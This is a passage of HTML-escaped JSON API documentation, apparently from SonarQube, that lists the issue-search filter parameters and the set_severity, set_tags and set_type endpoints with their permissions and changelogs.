\u0026#34;ruleDescriptionContextKey\u0026#34;, \u0026#34;transitions\u0026#34;, \u0026#34;actions\u0026#34;, \u0026#34;users\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;asc\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Ascending sort\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;assigned\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To retrieve assigned or unassigned issues\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;assignees\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of assignee logins. The value \u0026#39;__me__\u0026#39; can be used as a placeholder for user who performs the request\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;admin,usera,__me__\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;author\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;SCM accounts. To set several values, the parameter must be called once for each value.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;author=torvalds@linux-foundation.org\u0026amp;author=linux@fondation.org\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;cleanCodeAttributeCategories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Clean Code Attribute Categories\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ADAPTABLE,INTENTIONAL\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;ADAPTABLE\u0026#34;, \u0026#34;CONSISTENT\u0026#34;, \u0026#34;INTENTIONAL\u0026#34;, \u0026#34;RESPONSIBLE\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;codeVariants\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of code variants.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;windows,linux\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;components\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of component keys. Retrieve issues associated to a specific list of components (and all its descendants). A component can be a portfolio, project, module, directory or file.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34;, \u0026#34;deprecatedKey\u0026#34;: \u0026#34;componentKeys\u0026#34;, \u0026#34;deprecatedKeySince\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;createdAfter\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To retrieve issues created after the given date (inclusive). \\u003Cbr\\u003EEither a date (use \u0026#39;timeZone\u0026#39; attribute or it will default to server timezone) or datetime can be provided. \\u003Cbr\\u003EIf this parameter is set, createdInLast must not be set\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;createdAt\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Datetime to retrieve issues created during a specific analysis\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;createdBefore\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To retrieve issues created before the given date (exclusive). \\u003Cbr\\u003EEither a date (use \u0026#39;timeZone\u0026#39; attribute or it will default to server timezone) or datetime can be provided.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;createdInLast\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To retrieve issues created during a time span before the current time (exclusive). Accepted units are \u0026#39;y\u0026#39; for year, \u0026#39;m\u0026#39; for month, \u0026#39;w\u0026#39; for week and \u0026#39;d\u0026#39; for day. If this parameter is set, createdAfter must not be set\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;1m2w (1 month 2 weeks)\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;cwe\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of CWE identifiers. Use \u0026#39;unknown\u0026#39; to select issues not associated to any CWE.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;12,125,unknown\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;facets\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of the facets to be computed. No facet is computed by default.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;projects\u0026#34;, \u0026#34;files\u0026#34;, \u0026#34;assigned_to_me\u0026#34;, \u0026#34;severities\u0026#34;, \u0026#34;statuses\u0026#34;, \u0026#34;resolutions\u0026#34;, \u0026#34;rules\u0026#34;, \u0026#34;assignees\u0026#34;, \u0026#34;author\u0026#34;, \u0026#34;directories\u0026#34;, \u0026#34;scopes\u0026#34;, \u0026#34;languages\u0026#34;, \u0026#34;tags\u0026#34;, \u0026#34;types\u0026#34;, \u0026#34;pciDss-3.2\u0026#34;, \u0026#34;pciDss-4.0\u0026#34;, \u0026#34;owaspAsvs-4.0\u0026#34;, \u0026#34;owaspTop10\u0026#34;, \u0026#34;owaspTop10-2021\u0026#34;, \u0026#34;sansTop25\u0026#34;, \u0026#34;cwe\u0026#34;, \u0026#34;createdAt\u0026#34;, \u0026#34;sonarsourceSecurity\u0026#34;, \u0026#34;codeVariants\u0026#34;, \u0026#34;cleanCodeAttributeCategories\u0026#34;, \u0026#34;impactSoftwareQualities\u0026#34;, \u0026#34;impactSeverities\u0026#34;, \u0026#34;issueStatuses\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;fixedInPullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id to filter issues that would be fixed in the specified project or branch by the pull request. Should not be used together with + \u0026#39;pullRequest\u0026#39;. At least the \u0026#39;components\u0026#39; must be be specified when this param is used. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;impactSeverities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Quality Severities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;HIGH,MEDIUM\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;LOW\u0026#34;, \u0026#34;MEDIUM\u0026#34;, \u0026#34;HIGH\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;impactSoftwareQualities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Qualities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;MAINTAINABILITY,RELIABILITY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;MAINTAINABILITY\u0026#34;, \u0026#34;RELIABILITY\u0026#34;, \u0026#34;SECURITY\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;inNewCodePeriod\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To retrieve issues created in the new code period.\\u003Cbr\\u003EIf this parameter is set to a truthy value, createdAfter must not be set and one component uuid or key must be provided.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;issueStatuses\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ACCEPTED,FIXED\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;OPEN\u0026#34;, \u0026#34;CONFIRMED\u0026#34;, \u0026#34;FALSE_POSITIVE\u0026#34;, \u0026#34;ACCEPTED\u0026#34;, \u0026#34;FIXED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;issues\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of issue keys\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5bccd6e8-f525-43a2-8d76-fcb13dde79ef\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;languages\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of languages. Available since 4.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java,js\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;onComponentOnly\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Return only issues at a component\u0026#39;s level, not on its descendants (modules, directories, files, etc). This parameter is only considered when componentKeys is set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspAsvs-4.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP ASVS v4.0 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;6,10.1.1\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;owaspAsvsLevel\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Level of OWASP ASVS categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2017 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10-2021\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2021 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pciDss-3.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of PCI DSS v3.2 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;4,6.5.8,10.1\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pciDss-4.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of PCI DSS v4.0 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;4,6.5.8,10.1\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;resolutions\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of resolutions\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;FIXED,REMOVED\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;FALSE-POSITIVE\u0026#34;, \u0026#34;WONTFIX\u0026#34;, \u0026#34;FIXED\u0026#34;, \u0026#34;REMOVED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;resolved\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To match resolved or unresolved issues\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;rules\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of coding rule keys. Format is \u0026amp;lt;repository\u0026amp;gt;:\u0026amp;lt;rule\u0026amp;gt;\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S1144\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;s\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Sort field\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CREATION_DATE\u0026#34;, \u0026#34;CLOSE_DATE\u0026#34;, \u0026#34;SEVERITY\u0026#34;, \u0026#34;STATUS\u0026#34;, \u0026#34;FILE_LINE\u0026#34;, \u0026#34;HOTSPOTS\u0026#34;, \u0026#34;UPDATE_DATE\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sansTop25\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SANS Top 25 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.0\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;insecure-interaction\u0026#34;, \u0026#34;risky-resource\u0026#34;, \u0026#34;porous-defenses\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;scopes\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of scopes. Available since 8.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;MAIN,TEST\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;MAIN\u0026#34;, \u0026#34;TEST\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;severities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of severities\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;BLOCKER,CRITICAL\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sonarsourceSecurity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SonarSource security categories. Use \u0026#39;others\u0026#39; to select issues not associated with any category\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;buffer-overflow\u0026#34;, \u0026#34;sql-injection\u0026#34;, \u0026#34;rce\u0026#34;, \u0026#34;object-injection\u0026#34;, \u0026#34;command-injection\u0026#34;, \u0026#34;path-traversal-injection\u0026#34;, \u0026#34;ldap-injection\u0026#34;, \u0026#34;xpath-injection\u0026#34;, \u0026#34;log-injection\u0026#34;, \u0026#34;xxe\u0026#34;, \u0026#34;xss\u0026#34;, \u0026#34;dos\u0026#34;, \u0026#34;ssrf\u0026#34;, \u0026#34;csrf\u0026#34;, \u0026#34;http-response-splitting\u0026#34;, \u0026#34;open-redirect\u0026#34;, \u0026#34;weak-cryptography\u0026#34;, \u0026#34;auth\u0026#34;, \u0026#34;insecure-conf\u0026#34;, \u0026#34;file-manipulation\u0026#34;, \u0026#34;encrypt-data\u0026#34;, \u0026#34;traceability\u0026#34;, \u0026#34;permission\u0026#34;, \u0026#34;others\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;statuses\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of statuses\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;OPEN,REOPENED\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;OPEN\u0026#34;, \u0026#34;CONFIRMED\u0026#34;, \u0026#34;REOPENED\u0026#34;, \u0026#34;RESOLVED\u0026#34;, \u0026#34;CLOSED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of tags.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;security,convention\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;timeZone\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To resolve dates passed to \u0026#39;createdAfter\u0026#39; or \u0026#39;createdBefore\u0026#39; (does not apply to datetime) and to compute creation date histogram\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;\u0026#39;Europe/Paris\u0026#39;, \u0026#39;Z\u0026#39; or \u0026#39;+02:00\u0026#39;\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;types\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of types.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;CODE_SMELL,BUG\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CODE_SMELL\u0026#34;, \u0026#34;BUG\u0026#34;, \u0026#34;VULNERABILITY\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_severity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Change severity.\\u003Cbr/\\u003ERequires the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Authentication\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Browse\u0026#39; rights on project of the specified issue\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Administer Issues\u0026#39; rights on project of the specified issue\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;This endpoint is now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;issue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Issue key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;severity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New severity\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Set tags on an issue. \\u003Cbr/\\u003ERequires authentication and Browse permission on project\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; are deprecated. Please use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response contains issue information instead of list of tags\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;issue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Issue key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of tags. All tags are removed if parameter is empty or not set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;security,cwe,misra-c\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Change type of issue, for instance from \u0026#39;code smell\u0026#39; to \u0026#39;bug\u0026#39;.\\u003Cbr/\\u003ERequires the following 